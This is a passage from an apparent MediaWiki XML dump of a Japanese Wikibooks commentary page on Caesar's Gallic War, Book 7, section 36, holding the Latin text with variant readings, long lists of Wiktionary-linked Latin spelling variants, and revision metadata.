[[wikt:en:ignis#Latin|ignīs]], [[wikt:en:illatas|illātās]], [[wikt:en:illustrem#Latin:_adjective|illūstrem]], [[wikt:en:immittit|immittit]], [[wikt:en:immittunt|immittunt]], [[wikt:en:imparatum|imparātum]], [[wikt:en:impedita#Latin|impedīta]], [[wikt:en:imperi#Latin|imperī]], [[wikt:en:imprudentia#Noun|imprūdentia]], [[wikt:en:incolumis#Latin|incolumīs]], [[wikt:en:indignantis#Participle_2|indignantīs]], [[wikt:en:inopinantis#Adjective_2|inopīnantīs]], [[wikt:en:irridere#Latin|irrīdēre]], [[wikt:en:irrumpere|irrumpere]], [[wikt:en:irrumpit|irrumpit]], [[wikt:en:irruperunt|irrūpērunt]], [[wikt:en:laborantis#Etymology_2|labōrantīs]], [[wikt:en:montis|montīs]], [[wikt:en:natalis#Latin|nātālīs]], [[wikt:en:navis#Latin|nāvīs]], [[wikt:en:negoti|negōtī]], nōn nūllae, nōn nūllōs, [[wikt:en:offici#Noun_2|officī]], [[wikt:en:omnis#Latin|omnīs]], [[wikt:en:partis#Latin|partīs]], [[wikt:en:periclum#Latin|perīclum]], plūrīs, [[wikt:en:praesidi|praesidī]], [[wikt:en:proeli|proelī]], proficīscentīs, [[wikt:en:resistentis|resistentīs]], [[wikt:en:singularis#Latin|singulārīs]], [[wikt:en:solaci|sōlācī]], [[wikt:en:spati#Latin|spatī]], [[wikt:en:subeuntis|subeuntīs]], [[wikt:en:suffossis|suffossīs]], [[wikt:en:sumministrata|sumministrāta]], [[wikt:en:summissis|summissīs]], [[wikt:en:summittantur#Latin|summittantur]], [[wikt:en:summittebat|summittēbat]], [[wikt:en:summittit|summittit]], [[wikt:en:summotis|summōtīs]], [[wikt:en:summoveri|summovērī]], [[wikt:en:supplici#Noun|supplicī]], [[wikt:en:testis#Latin|testīs]], [[wikt:en:timentis#Participle_2|timentīs]], [[wikt:en:Tituri|Titūrī]], [[wikt:en:Trinobantes#Latin|Trinobantēs]], trīs, [[wikt:en:turris#Latin|turrīs]], [[wikt:en:utilis#Latin|ūtilīs]], [[wikt:en:vectigalis#Latin|vectīgālīs]]  &lt;/span&gt; などは、&lt;br&gt;それぞれ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:adclivis#Latin|adclīvis]], [[wikt:en:adcommodatae|adcommodātae]], [[wikt:en:adlatis|adlātīs]], Atuātucam, [[wikt:de:Atuatuci|Atuatucī]], Atuatucīs, Atuatucōs, Haeduae, [[wikt:en:Haedui|Haeduī]], [[wikt:en:Haeduis|Haeduīs]], [[wikt:en:Haeduorum|Haeduōrum]], [[wikt:en:Haeduos|Haeduōs]], Haeduus, [[wikt:en:aequinoctii|aequinoctiī]], [[wikt:en:adfecti|adfectī]], [[wikt:en:adfectus#Adjective|adfectus]], [[wikt:en:adferat|adferat]], [[wikt:en:adferebat|adferēbat]], [[wikt:en:adferret|adferret]], [[wikt:en:adferretur|adferrētur]], [[wikt:en:adflictae|adflīctae]], [[wikt:en:adfligunt|adflīgunt]], [[wikt:en:adgregabat|adgregābat]], [[wikt:en:adgregaverant|adgregāverant]] ([[wikt:en:adgregarant|adgregārant]]), [[wikt:en:adlato|adlātō]], [[wikt:en:adliciebat#Latin|adliciēbat]], [[wikt:en:Alpes#Latin|Alpēs]], [[wikt:en:adpelluntur|adpelluntur]], [[wikt:en:adpetebat|adpetēbat]], [[wikt:en:adportari|adportārī]], [[wikt:en:adplicant|adplicant]], [[wikt:en:adprobant#Latin|adprobant]], [[wikt:en:adpropinquabat|adpropinquābat]], [[wikt:en:adpropinquare|adpropinquāre]], [[wikt:en:adpropinquarent|adpropinquārent]], [[wikt:en:adpropinquassent|adpropinquāssent]], [[wikt:en:adpropinquaverunt|adpropinquāvērunt]] ([[wikt:en:adpropinquarunt|adpropinquārunt]]), [[wikt:en:adpropinquavit|adpropinquāvit]], [[wikt:en:adpulso|adpulsō]], [[wikt:en:adripere|adripere]], [[wikt:en:articulis|articulīs]], [[wikt:en:adscendissent|adscendissent]], [[wikt:en:adscensu#Noun|adscēnsū]], [[wikt:en:adsidua|adsiduā]], [[wikt:en:adsiduis#Latin|adsiduīs]], [[wikt:en:adsuefacti|adsuēfactī]], [[wikt:en:adsuescere#Latin|adsuēscere]], [[wikt:en:adtingit|adtingit]], [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adtribuerat#Latin|adtribuerat]], [[wikt:en:adtribuit|adtribuit]], [[wikt:en:adtribuunt|adtribuunt]], [[wikt:en:aures#Noun|aurēs]], [[wikt:en:auxilii|auxiliī]], [[wikt:en:cedentes#Latin|cēdentēs]], [[wikt:en:cives#Latin|cīvēs]], [[wikt:en:clientes#Latin|clientēs]], [[wikt:en:cohortes#Latin|cohortēs]], [[wikt:en:conicere|conicere]], [[wikt:en:conicerent|conicerent]], [[wikt:en:conici#Latin|conicī]], [[wikt:en:coniciant|coniciant]], [[wikt:en:coniciebant|coniciēbant]], [[wikt:en:coniciunt|coniciunt]], [[wikt:en:coniecerant|coniēcerant]], [[wikt:en:coniecerunt|coniēcērunt]], [[wikt:en:coniecisse|coniēcisse]], [[wikt:en:coniecta|coniecta]], [[wikt:en:coniecti|coniectī]], [[wikt:en:coniectis|coniectīs]], [[wikt:en:conlatis|conlātīs]], [[wikt:en:conlaudantur|conlaudantur]], [[wikt:en:conlaudat|conlaudat]], [[wikt:en:conlaudatis#Participle|conlaudātīs]], [[wikt:en:colles#Latin|collēs]], [[wikt:en:conlocabant|conlocābant]], [[wikt:en:conlocabat|conlocābat]], [[wikt:en:conlocandis|conlocandīs]], [[wikt:en:conlocant|conlocant]], [[wikt:en:conlocantur#Latin|conlocantur]], [[wikt:en:conlocarat|conlocārat]], [[wikt:en:conlocare|conlocāre]], [[wikt:en:conlocaret|conlocāret]], [[wikt:en:conlocari|conlocārī]], [[wikt:en:conlocatas|conlocātās]], [[wikt:en:conlocati|conlocātī]], [[wikt:en:conlocatis#Participle|conlocātīs]], [[wikt:en:conlocaverat#Latin|conlocāverat]], [[wikt:en:conlocavit|conlocāvit]], [[wikt:en:conlocuti|conlocūtī]], [[wikt:en:conloquantur|conloquantur]], [[wikt:en:conloquendi|conloquendī]], [[wikt:en:conloqui#Latin|conloquī]], [[wikt:en:conloquium#Latin|conloquium]], [[wikt:en:communes#Latin|commūnēs]], [[wikt:en:conpluribus|conplūribus]], [[wikt:en:complures#Latin|complūrēs]], [[wikt:en:conprehensis|conprehēnsīs]], [[wikt:en:conprehensos|conprehēnsōs]], [[wikt:en:conantes|cōnantēs]], [[wikt:en:consilii|cōnsiliī]], [[wikt:en:derectus#Latin|dērēctus]], [[wikt:en:dubitantes|dubitantēs]], [[wikt:en:efferciuntur#Latin|efferciuntur]], [[wikt:en:egredientes|ēgredientēs]], [[wikt:en:ii#Latin|iī]], [[wikt:en:iis#Latin|iīs]], [[wikt:en:exsistit|exsistit]], [[wikt:en:exspectent#Latin|exspectent]], [[wikt:en:exposcentes#Latin|exposcentēs]], [[wikt:en:extruxerunt#Latin|extruxerunt]], [[wikt:en:ferventes#Latin|ferventēs]], [[wikt:en:fines#Latin|fīnēs]], [[wikt:en:glandes#Latin|glandēs]], [[wikt:en:haesitantes#Latin|haesitantēs]], [[wikt:en:hostes#Latin|hostēs]], [[wikt:en:ignes|ignēs]], [[wikt:en:inlatas|inlātās]], [[wikt:en:inlustrem#Latin:_adjective|inlūstrem]], [[wikt:en:inmittit|inmittit]], [[wikt:en:inmittunt|inmittunt]], [[wikt:en:inparatum|inparātum]], [[wikt:en:inpedita#Latin|inpedīta]], [[wikt:en:imperii#Latin|imperiī]], [[wikt:en:inprudentia#Noun|inprūdentia]], [[wikt:en:incolumes|incolumēs]], [[wikt:en:indignantes#Latin|indignantēs]], [[wikt:en:inopinantes|inopīnantēs]], [[wikt:en:inridere|inrīdēre]], [[wikt:en:inrumpere|inrumpere]], [[wikt:en:inrumpit|inrumpit]], [[wikt:en:inruperunt|inrūpērunt]], [[wikt:en:laborantes#Latin|labōrantēs]], [[wikt:en:montes#Latin|montēs]], [[wikt:en:natales#Latin|nātālēs]], [[wikt:en:naves#Latin|nāvēs]], [[wikt:en:negotii|negōtiī]], [[wikt:en:nonnullae|nōnnūllae]], [[wikt:en:nonnullos|nōnnūllōs]], [[wikt:en:officii#Latin|officiī]], [[wikt:en:omnes#Latin|omnēs]], [[wikt:en:partes#Latin|partēs]], [[wikt:en:periculum#Latin|perīculum]], [[wikt:en:plures|plūrēs]], [[wikt:en:praesidii|praesidiī]], [[wikt:en:proelii|proeliī]],  [[wikt:en:proficiscentes|proficīscentēs]], [[wikt:en:resistentes#Latin|resistentēs]], [[wikt:en:singulares#Latin|singulārēs]], [[wikt:en:solacii|sōlāciī]], [[wikt:en:spatii#Latin|spatiī]], [[wikt:en:subeuntes|subeuntēs]], [[wikt:en:subfossis|subfossīs]], [[wikt:en:subministrata|subministrāta]], [[wikt:en:submissis|submissīs]], [[wikt:en:submittantur#Latin|submittantur]], [[wikt:en:submittebat|submittēbat]], [[wikt:en:submittit|submittit]], [[wikt:en:submotis|submōtīs]], [[wikt:en:submoveri|submovērī]], [[wikt:en:supplicii|suppliciī]], [[wikt:en:testes#Latin|testēs]], [[wikt:en:timentes|timentēs]], [[wikt:en:Titurii|Titūriī]], [[wikt:en:Trinovantes#Latin|Trinovantēs]], [[wikt:en:tres#Latin|trēs]], [[wikt:en:turres#Latin|turrēs]], [[wikt:en:utiles#Latin|ūtilēs]], [[wikt:en:vectigales|vectīgālēs]]  &lt;/span&gt; などとした。
--&gt;


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color:#b00;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;font-size:10pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;

== 注解 ==
=== 1項 ===
&lt;span style=&quot;font-family:Times New Roman;font-size:20pt;&quot;&gt;&lt;/span&gt;

;語釈


&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;background-color:#fff;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;


&lt;span style=&quot;background-color:#ccffcc;&quot;&gt;&lt;/span&gt;

&lt;!--
;対訳
《　》　内は、訳者が説明のために補った語。&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;{&lt;/span&gt;　&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;}&lt;/span&gt;　内は関係文。

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;
--&gt;

== 訳文 ==
*&lt;span style=&quot;background-color:#dff;&quot;&gt;訳文は、[[ガリア戦記_第7巻#36節]]&lt;/span&gt;

== 脚注 ==
{{Reflist}}
== 解説 ==


&lt;!--

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot;
|- style=&quot;height:23em;&quot; 
|
|
|}

--&gt;

== 関連項目 ==
*[[ガリア戦記]]
**[[ガリア戦記/注解編]]
***[[ガリア戦記 第7巻/注解]]
**[[ガリア戦記/用例集]]

== 関連記事 ==
== 外部リンク ==


[[Category:ガリア戦記 第7巻|36節]]</text>
      <sha1>hp6t3m0ir68nccuy5ej1j5z0v4cmnbx</sha1>
    </revision>
    <revision>
      <id>305252</id>
      <parentid>305250</parentid>
      <timestamp>2026-11-01T07:10:55Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 外部リンク */</comment>
      <origin>305252</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="18817" sha1="hv0v6wioynsfv2muglori6uxoiktku3" xml:space="preserve">&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:15pt;color:#990033;text-align:center;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARIORVM &amp;middot; BELLI &amp;middot; GALLICI&lt;/div&gt;
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:30pt;color:#990033;text-align:center;&quot;&gt;LIBER &amp;middot; SEPTIMVS&lt;/div&gt;
&lt;br&gt;
{| id=&quot;toc&quot; style=&quot;align:center;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#bbf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記/注解編|ガリア戦記 注解編]] &amp;nbsp;
| style=&quot;background:#ccf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記 第7巻/注解|第7巻]] &amp;nbsp;
| style=&quot;background:#eef; text-align:center;&quot;|
&amp;nbsp;[[ガリア戦記 第7巻/注解/35節|35節]] |
[[ガリア戦記 第7巻/注解/36節|36節]] |
[[ガリア戦記 第7巻/注解/37節|37節]] &amp;nbsp;
|}
__notoc__
== 原文テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;原文テキストについては[[ガリア戦記/注解編#原文テキスト]]を参照。&lt;/ref&gt; 36. &amp;nbsp;&amp;nbsp; &lt;!--❶--&gt;&lt;sup&gt;1&lt;/sup&gt; Caesar ex eo loco quintis castris Gergoviam pervenit equestrique eo die proelio levi facto, perspecto urbis situ, quae posita in altissimo monte omnis&lt;!--omnes--&gt; aditus difficilis&lt;!--difficiles--&gt; habebat, de &lt;!--(α) --&gt;expugnatione&lt;!--(β) --&gt; desperavit&lt;!--,--&gt;;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  de obsessione non prius agendum constituit&lt;!--,--&gt; quam rem frumentariam expedisset.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❷--&gt;&lt;sup&gt;2&lt;/sup&gt; At Vercingetorix, castris&lt;!--,--&gt; prope oppidum &lt;!--(β) in monte--&gt; positis, mediocribus circum se intervallis separatim singularum civitatum copias collocaverat&lt;!--conlocaverat--&gt;&lt;!--,--&gt; atque omnibus eius iugi collibus occupatis, qua despici poterat, horribilem speciem praebebat;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❸--&gt;&lt;sup&gt;3&lt;/sup&gt; principesque earum civitatum&lt;!--,--&gt; quos sibi ad consilium capiendum delegerat&lt;!--,--&gt; prima luce cotidie ad se convenire iubebat, seu quid communicandum&lt;!--,--&gt; seu quid administrandum videretur&lt;!--,--&gt;;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❹--&gt;&lt;sup&gt;4&lt;/sup&gt; neque ullum fere diem intermittebat&lt;!--,--&gt; quin equestri proelio interiectis sagittariis&lt;!--,--&gt; quid in quoque esset animi ac virtutis suorum&lt;!--,--&gt; periclitaretur&lt;!--(α) perspiceretur--&gt;&lt;!--(Tc) perspiceret--&gt;.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❺--&gt;&lt;sup&gt;5&lt;/sup&gt; Erat e regione oppidi collis sub ipsis radicibus montis&lt;!--,--&gt; egregie munitus atque ex omni parte circumcisus;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  quem si tenerent nostri, et aquae magna parte et pabulatione libera prohibituri hostis&lt;!--hostes--&gt; videbantur.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❻--&gt;&lt;sup&gt;6&lt;/sup&gt; Sed is locus praesidio ab his, non &lt;!--(ω) --&gt;nimis firmo&lt;!--(Zucker) infirmo--&gt; &lt;!--(Oudendorp) --&gt;tamen tenebatur&lt;!--(ω) tenebatur. Tamen--&gt;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❼--&gt;&lt;sup&gt;7&lt;/sup&gt; silentio noctis Caesar ex castris egressus, prius quam&lt;!--priusquam--&gt; subsidio ex oppido veniri posset&lt;!--,--&gt; deiecto praesidio, potitus loco duas ibi legiones collocavit&lt;!--conlocavit--&gt;, fossamque duplicem duodenum pedum a maioribus castris ad minora perduxit, ut tuto ab repentino hostium incursu etiam singuli commeare possent.  &lt;/div&gt;
&lt;span style=&quot;background-color:#ffc;&quot;&gt;&lt;/span&gt;
----
;テキスト引用についての注記


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

== 整形テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;整形テキストについては[[ガリア戦記/注解編#凡例]]を参照。&lt;/ref&gt; 


&lt;/div&gt;
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt;
&lt;!--❶--&gt;&lt;!--❷--&gt;&lt;!--❸--&gt;&lt;!--❹--&gt;&lt;!--❺--&gt;&lt;!--❻--&gt;&lt;!--❼--&gt;&lt;!--❽--&gt;&lt;!--❾--&gt;&lt;!--❿--&gt;&lt;!--⓫--&gt;&lt;!--⓬--&gt;&lt;sup&gt;&lt;/sup&gt; 
&lt;!--  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  --&gt;
---- 
;注記
&lt;!--
*原文の &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:acclivis#Latin|acclīvis]], [[wikt:en:accommodatae|accommodātae]], [[wikt:en:allatis|allātīs]], [[wikt:en:Aduatuca#Latin|Aduātucam]], [[wikt:en:Aduatuci|Aduatucī]], [[wikt:en:Aduatucis|Aduatucīs]], [[wikt:en:Aduatucos|Aduatucōs]], [[wikt:en:Aeduae|Aeduae]], [[wikt:en:Aedui#Latin|Aeduī]], [[wikt:en:Aeduis|Aeduīs]], [[wikt:en:Aeduorum|Aeduōrum]], [[wikt:en:Aeduos|Aeduōs]], [[wikt:en:Aeduus#Latin|Aeduus]], [[wikt:en:aequinocti|aequinoctī]], [[wikt:en:affecti|affectī]], [[wikt:en:affectus#Participle|affectus]], [[wikt:en:afferat|afferat]], [[wikt:en:afferebat|afferēbat]], [[wikt:en:afferret|afferret]], [[wikt:en:afferretur|afferrētur]], [[wikt:en:afflictae|afflīctae]], [[wikt:en:affligunt|afflīgunt]], [[wikt:en:aggregabat|aggregābat]], [[wikt:en:aggregaverant|aggregāverant]] ([[wikt:en:aggregarant|aggregārant]]), [[wikt:en:allato|allātō]], [[wikt:en:alliciebat#Latin|alliciēbat]], [[wikt:en:Alpis#Latin|Alpīs]], [[wikt:en:appelluntur|appelluntur]], [[wikt:en:appetebat|appetēbat]], [[wikt:en:apportari|apportārī]], [[wikt:en:applicant#Latin|applicant]], [[wikt:en:approbant#Latin|approbant]], [[wikt:en:appropinquabat|appropinquābat]], [[wikt:en:appropinquare#Latin|appropinquāre]], [[wikt:en:appropinquarent|appropinquārent]], [[wikt:en:appropinquassent|appropinquāssent]], [[wikt:en:appropinquaverunt|appropinquāvērunt]] ([[wikt:en:appropinquarunt|appropinquārunt]]), [[wikt:en:appropinquavit|appropinquāvit]], [[wikt:en:appulso#Latin|appulsō]], [[wikt:en:arripere|arripere]], [[wikt:en:articlis|articlīs]], [[wikt:en:ascendissent#Latin|ascendissent]], [[wikt:en:ascensu#Noun|ascēnsū]], [[wikt:en:assidua#Latin|assiduā]], [[wikt:en:assiduis#Latin|assiduīs]], [[wikt:en:assuefacti|assuēfactī]], [[wikt:en:assuescere#Latin|assuēscere]], [[wikt:en:attingit|attingit]], [[wikt:en:attingunt|attingunt]], [[wikt:en:attribuerat#Latin|attribuerat]], [[wikt:en:attribuit|attribuit]], [[wikt:en:attribuunt|attribuunt]], [[wikt:en:auris#Latin|aurīs]], [[wikt:en:auxili#Latin|auxilī]], [[wikt:en:cedentis|cēdentīs]], [[wikt:en:civis#Latin|cīvīs]], [[wikt:en:clientis|clientīs]], [[wikt:en:cohortis|cohortīs]], [[wikt:en:coicere|coicere]], [[wikt:en:coicerent|coicerent]], [[wikt:en:coici|coicī]], [[wikt:en:coiciant|coiciant]], [[wikt:en:coiciebant|coiciēbant]], [[wikt:en:coiciunt|coiciunt]], [[wikt:en:coiecerant|coiēcerant]], [[wikt:en:coiecerunt|coiēcērunt]], [[wikt:en:coiecisse|coiēcisse]], [[wikt:en:coiecta|coiecta]], [[wikt:en:coiecti|coiectī]], [[wikt:en:coiectis|coiectīs]], [[wikt:en:collatis|collātīs]], [[wikt:en:collaudantur|collaudantur]], [[wikt:en:collaudat|collaudat]],  [[wikt:en:collaudatis#Participle|collaudātīs]], [[wikt:en:collis#Latin|collīs]], [[wikt:en:collocabant|collocābant]], [[wikt:en:collocabat|collocābat]], [[wikt:en:collocandis|collocandīs]], [[wikt:en:collocant#Latin|collocant]], [[wikt:en:collocantur#Latin|collocantur]], [[wikt:en:collocarat|collocārat]], [[wikt:en:collocare#Latin|collocāre]], [[wikt:en:collocaret|collocāret]], [[wikt:en:collocari|collocārī]], [[wikt:en:collocatas|collocātās]], [[wikt:en:collocati#Latin|collocātī]], [[wikt:en:collocatis#Participle|collocātīs]], [[wikt:en:collocaverat#Latin|collocāverat]], [[wikt:en:collocavit|collocāvit]], [[wikt:en:collocuti|collocūtī]], [[wikt:en:colloquantur|colloquantur]], [[wikt:en:colloquendi|colloquendī]], [[wikt:en:colloqui#Latin|colloquī]], [[wikt:en:colloquium#Latin|colloquium]], [[wikt:en:communis#Latin|commūnīs]], [[wikt:en:compluribus|complūribus]], [[wikt:en:compluris|complūrīs]], [[wikt:en:comprehensis|comprehēnsīs]], [[wikt:en:comprehensos|comprehēnsōs]], [[wikt:en:conantis|cōnantīs]], [[wikt:en:consili|cōnsilī]], [[wikt:en:directus#Latin|dīrēctus]], [[wikt:en:dubitantis#Participle_2|dubitantīs]], [[wikt:en:effarciuntur#Latin|effarciuntur]], [[wikt:en:egredientis#Etymology_2|ēgredientīs]], [[wikt:en:ei#Latin|eī]], [[wikt:en:eis#Latin|eīs]], [[wikt:en:existit#Latin|existit]], [[wikt:en:expectent#Latin|expectent]], [[wikt:en:exposcentis#Participle_2|exposcentīs]], [[wikt:en:exstruxerunt#Latin|exstruxerunt]], [[wikt:en:ferventis#Latin|ferventīs]], [[wikt:en:finis#Latin|fīnīs]], [[wikt:en:glandis#Latin|glandīs]], [[wikt:en:haesitantis#Participle_2|haesitantīs]], [[wikt:en:hostis#Latin|hostīs]], [[wikt:en:ignis#Latin|ignīs]], [[wikt:en:illatas|illātās]], [[wikt:en:illustrem#Latin:_adjective|illūstrem]], [[wikt:en:immittit|immittit]], [[wikt:en:immittunt|immittunt]], [[wikt:en:imparatum|imparātum]], [[wikt:en:impedita#Latin|impedīta]], [[wikt:en:imperi#Latin|imperī]], [[wikt:en:imprudentia#Noun|imprūdentia]], [[wikt:en:incolumis#Latin|incolumīs]], [[wikt:en:indignantis#Participle_2|indignantīs]], [[wikt:en:inopinantis#Adjective_2|inopīnantīs]], [[wikt:en:irridere#Latin|irrīdēre]], [[wikt:en:irrumpere|irrumpere]], [[wikt:en:irrumpit|irrumpit]], [[wikt:en:irruperunt|irrūpērunt]], [[wikt:en:laborantis#Etymology_2|labōrantīs]], [[wikt:en:montis|montīs]], [[wikt:en:natalis#Latin|nātālīs]], [[wikt:en:navis#Latin|nāvīs]], [[wikt:en:negoti|negōtī]], nōn nūllae, nōn nūllōs, [[wikt:en:offici#Noun_2|officī]], [[wikt:en:omnis#Latin|omnīs]], [[wikt:en:partis#Latin|partīs]], [[wikt:en:periclum#Latin|perīclum]], plūrīs, [[wikt:en:praesidi|praesidī]], [[wikt:en:proeli|proelī]], proficīscentīs, [[wikt:en:resistentis|resistentīs]], [[wikt:en:singularis#Latin|singulārīs]], [[wikt:en:solaci|sōlācī]], [[wikt:en:spati#Latin|spatī]], [[wikt:en:subeuntis|subeuntīs]], [[wikt:en:suffossis|suffossīs]], [[wikt:en:sumministrata|sumministrāta]], [[wikt:en:summissis|summissīs]], [[wikt:en:summittantur#Latin|summittantur]], [[wikt:en:summittebat|summittēbat]], [[wikt:en:summittit|summittit]], [[wikt:en:summotis|summōtīs]], [[wikt:en:summoveri|summovērī]], [[wikt:en:supplici#Noun|supplicī]], [[wikt:en:testis#Latin|testīs]], [[wikt:en:timentis#Participle_2|timentīs]], [[wikt:en:Tituri|Titūrī]], [[wikt:en:Trinobantes#Latin|Trinobantēs]], trīs, [[wikt:en:turris#Latin|turrīs]], [[wikt:en:utilis#Latin|ūtilīs]], [[wikt:en:vectigalis#Latin|vectīgālīs]]  &lt;/span&gt; などは、&lt;br&gt;それぞれ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:adclivis#Latin|adclīvis]], [[wikt:en:adcommodatae|adcommodātae]], [[wikt:en:adlatis|adlātīs]], Atuātucam, [[wikt:de:Atuatuci|Atuatucī]], Atuatucīs, Atuatucōs, Haeduae, [[wikt:en:Haedui|Haeduī]], [[wikt:en:Haeduis|Haeduīs]], [[wikt:en:Haeduorum|Haeduōrum]], [[wikt:en:Haeduos|Haeduōs]], Haeduus, [[wikt:en:aequinoctii|aequinoctiī]], [[wikt:en:adfecti|adfectī]], [[wikt:en:adfectus#Adjective|adfectus]], [[wikt:en:adferat|adferat]], [[wikt:en:adferebat|adferēbat]], [[wikt:en:adferret|adferret]], [[wikt:en:adferretur|adferrētur]], [[wikt:en:adflictae|adflīctae]], [[wikt:en:adfligunt|adflīgunt]], [[wikt:en:adgregabat|adgregābat]], [[wikt:en:adgregaverant|adgregāverant]] ([[wikt:en:adgregarant|adgregārant]]), [[wikt:en:adlato|adlātō]], [[wikt:en:adliciebat#Latin|adliciēbat]], [[wikt:en:Alpes#Latin|Alpēs]], [[wikt:en:adpelluntur|adpelluntur]], [[wikt:en:adpetebat|adpetēbat]], [[wikt:en:adportari|adportārī]], [[wikt:en:adplicant|adplicant]], [[wikt:en:adprobant#Latin|adprobant]], [[wikt:en:adpropinquabat|adpropinquābat]], [[wikt:en:adpropinquare|adpropinquāre]], [[wikt:en:adpropinquarent|adpropinquārent]], [[wikt:en:adpropinquassent|adpropinquāssent]], [[wikt:en:adpropinquaverunt|adpropinquāvērunt]] ([[wikt:en:adpropinquarunt|adpropinquārunt]]), [[wikt:en:adpropinquavit|adpropinquāvit]], [[wikt:en:adpulso|adpulsō]], [[wikt:en:adripere|adripere]], [[wikt:en:articulis|articulīs]], [[wikt:en:adscendissent|adscendissent]], [[wikt:en:adscensu#Noun|adscēnsū]], [[wikt:en:adsidua|adsiduā]], [[wikt:en:adsiduis#Latin|adsiduīs]], [[wikt:en:adsuefacti|adsuēfactī]], [[wikt:en:adsuescere#Latin|adsuēscere]], [[wikt:en:adtingit|adtingit]], [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adtribuerat#Latin|adtribuerat]], [[wikt:en:adtribuit|adtribuit]], [[wikt:en:adtribuunt|adtribuunt]], [[wikt:en:aures#Noun|aurēs]], [[wikt:en:auxilii|auxiliī]], [[wikt:en:cedentes#Latin|cēdentēs]], [[wikt:en:cives#Latin|cīvēs]], [[wikt:en:clientes#Latin|clientēs]], [[wikt:en:cohortes#Latin|cohortēs]], [[wikt:en:conicere|conicere]], [[wikt:en:conicerent|conicerent]], [[wikt:en:conici#Latin|conicī]], [[wikt:en:coniciant|coniciant]], [[wikt:en:coniciebant|coniciēbant]], [[wikt:en:coniciunt|coniciunt]], [[wikt:en:coniecerant|coniēcerant]], [[wikt:en:coniecerunt|coniēcērunt]], [[wikt:en:coniecisse|coniēcisse]], [[wikt:en:coniecta|coniecta]], [[wikt:en:coniecti|coniectī]], [[wikt:en:coniectis|coniectīs]], [[wikt:en:conlatis|conlātīs]], [[wikt:en:conlaudantur|conlaudantur]], [[wikt:en:conlaudat|conlaudat]], [[wikt:en:conlaudatis#Participle|conlaudātīs]], [[wikt:en:colles#Latin|collēs]], [[wikt:en:conlocabant|conlocābant]], [[wikt:en:conlocabat|conlocābat]], [[wikt:en:conlocandis|conlocandīs]], [[wikt:en:conlocant|conlocant]], [[wikt:en:conlocantur#Latin|conlocantur]], [[wikt:en:conlocarat|conlocārat]], [[wikt:en:conlocare|conlocāre]], [[wikt:en:conlocaret|conlocāret]], [[wikt:en:conlocari|conlocārī]], [[wikt:en:conlocatas|conlocātās]], [[wikt:en:conlocati|conlocātī]], [[wikt:en:conlocatis#Participle|conlocātīs]], [[wikt:en:conlocaverat#Latin|conlocāverat]], [[wikt:en:conlocavit|conlocāvit]], [[wikt:en:conlocuti|conlocūtī]], [[wikt:en:conloquantur|conloquantur]], [[wikt:en:conloquendi|conloquendī]], [[wikt:en:conloqui#Latin|conloquī]], [[wikt:en:conloquium#Latin|conloquium]], [[wikt:en:communes#Latin|commūnēs]], [[wikt:en:conpluribus|conplūribus]], [[wikt:en:complures#Latin|complūrēs]], [[wikt:en:conprehensis|conprehēnsīs]], [[wikt:en:conprehensos|conprehēnsōs]], [[wikt:en:conantes|cōnantēs]], [[wikt:en:consilii|cōnsiliī]], [[wikt:en:derectus#Latin|dērēctus]], [[wikt:en:dubitantes|dubitantēs]], [[wikt:en:efferciuntur#Latin|efferciuntur]], [[wikt:en:egredientes|ēgredientēs]], [[wikt:en:ii#Latin|iī]], [[wikt:en:iis#Latin|iīs]], 